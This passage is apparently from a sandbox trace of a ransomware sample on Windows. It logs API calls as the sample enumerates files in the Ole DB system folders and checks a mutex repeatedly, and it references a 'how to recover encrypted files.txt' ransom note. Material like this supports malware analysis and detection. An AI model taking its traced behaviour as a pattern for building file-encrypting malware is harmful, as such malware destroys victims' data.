lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.158] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.158] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui DB\\en-US\\sqlxmlx.rll.mui", lpUsedDefaultChar=0x0) returned 4 [0057.158] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.158] GlobalLock (hMem=0x440004) returned 0x550170 [0057.158] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.158] GlobalUnlock (hMem=0x440004) returned 0 [0057.158] GlobalLock (hMem=0x440004) returned 0x550170 [0057.158] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.159] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.159] GlobalUnlock (hMem=0x440004) returned 0 [0057.159] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.159] GlobalUnlock (hMem=0x44000c) returned 0 [0057.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.159] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.159] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.159] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.159] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.159] GlobalUnlock (hMem=0x44000c) returned 0 [0057.159] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.159] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.159] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.159] GlobalUnlock (hMem=0x44000c) returned 0 [0057.159] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.159] GlobalUnlock (hMem=0x440004) returned 0 [0057.159] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.159] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.159] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.159] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.159] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.159] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.159] GlobalUnlock (hMem=0x440004) returned 0 [0057.159] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.160] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.160] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.160] GlobalUnlock (hMem=0x440004) returned 0 [0057.160] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.160] GlobalUnlock (hMem=0x44000c) returned 0 [0057.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.160] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0057.160] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.160] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.160] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.160] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.160] GlobalUnlock (hMem=0x44000c) returned 0 [0057.160] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.160] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.160] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.160] GlobalUnlock (hMem=0x44000c) returned 0 [0057.160] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.160] GlobalUnlock (hMem=0x440004) returned 0 [0057.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.160] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0057.160] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.160] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.160] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.160] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.160] GlobalUnlock (hMem=0x440004) returned 0 [0057.160] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.161] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.161] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.161] GlobalUnlock (hMem=0x440004) returned 0 [0057.161] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.161] GlobalUnlock (hMem=0x44000c) returned 0 [0057.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.161] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0057.161] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.161] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.161] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.161] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.161] GlobalUnlock (hMem=0x44000c) returned 0 [0057.161] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.161] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.161] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.161] GlobalUnlock (hMem=0x44000c) returned 0 [0057.161] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.161] GlobalUnlock (hMem=0x440004) returned 0 [0057.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.161] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0057.161] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.161] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.161] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.162] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.162] GlobalUnlock (hMem=0x440004) returned 0 [0057.162] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.162] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.162] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.162] GlobalUnlock (hMem=0x440004) returned 0 [0057.162] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.162] GlobalUnlock (hMem=0x44000c) returned 0 [0057.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.162] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0057.162] GetLastError () returned 0x12 [0057.162] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.162] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.162] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.162] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.162] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.162] GlobalUnlock (hMem=0x44000c) returned 0 [0057.162] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.162] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.162] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.162] GlobalUnlock (hMem=0x44000c) returned 0 [0057.162] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.162] GlobalUnlock (hMem=0x440004) returned 0 [0057.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.163] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0057.163] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.163] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.163] GlobalLock (hMem=0x440004) returned 0x550170 [0057.163] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.163] GlobalUnlock (hMem=0x440004) returned 0 [0057.163] GlobalLock (hMem=0x440004) returned 0x550170 [0057.163] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.163] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.163] GlobalUnlock (hMem=0x440004) returned 0 [0057.163] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.163] GlobalUnlock (hMem=0x44000c) returned 0 [0057.163] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.163] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0057.163] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.163] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.163] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.163] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.163] GlobalUnlock (hMem=0x44000c) returned 0 [0057.163] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.163] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.163] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.163] GlobalUnlock (hMem=0x44000c) returned 0 [0057.163] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.163] GlobalUnlock (hMem=0x440004) returned 0 [0057.163] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.164] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0057.164] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.164] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.164] GlobalLock (hMem=0x440004) returned 0x550170 [0057.164] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.164] GlobalUnlock (hMem=0x440004) returned 0 [0057.164] GlobalLock (hMem=0x440004) returned 0x550170 [0057.164] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.164] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.164] GlobalUnlock (hMem=0x440004) returned 0 [0057.164] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.164] GlobalUnlock (hMem=0x44000c) returned 0 [0057.164] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.164] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0057.164] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.164] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.164] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.164] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.164] GlobalUnlock (hMem=0x44000c) returned 0 [0057.164] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.164] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.164] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.164] GlobalUnlock (hMem=0x44000c) returned 0 [0057.164] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.164] GlobalUnlock (hMem=0x440004) returned 0 [0057.164] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.165] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0057.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.165] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.165] GlobalLock (hMem=0x440004) returned 0x550170 [0057.165] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.165] GlobalUnlock (hMem=0x440004) returned 0 [0057.165] GlobalLock (hMem=0x440004) returned 0x550170 [0057.165] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.165] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.165] GlobalUnlock (hMem=0x440004) returned 0 [0057.165] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.165] GlobalUnlock (hMem=0x44000c) returned 0 [0057.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.165] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0057.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.165] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.165] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.165] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.165] GlobalUnlock (hMem=0x44000c) returned 0 [0057.165] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.165] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.165] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.165] GlobalUnlock (hMem=0x44000c) returned 0 [0057.165] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.165] GlobalUnlock (hMem=0x440004) returned 0 [0057.165] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.166] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0057.166] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.166] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.166] GlobalLock (hMem=0x440004) returned 0x550170 [0057.166] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.166] GlobalUnlock (hMem=0x440004) returned 0 [0057.166] GlobalLock (hMem=0x440004) returned 0x550170 [0057.166] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.166] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.166] GlobalUnlock (hMem=0x440004) returned 0 [0057.166] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.166] GlobalUnlock (hMem=0x44000c) returned 0 [0057.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.166] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0057.166] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.166] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.166] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.166] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.166] GlobalUnlock (hMem=0x44000c) returned 0 [0057.166] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.166] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.166] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.166] GlobalUnlock (hMem=0x44000c) returned 0 [0057.166] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.166] GlobalUnlock (hMem=0x440004) returned 0 [0057.166] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.167] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, 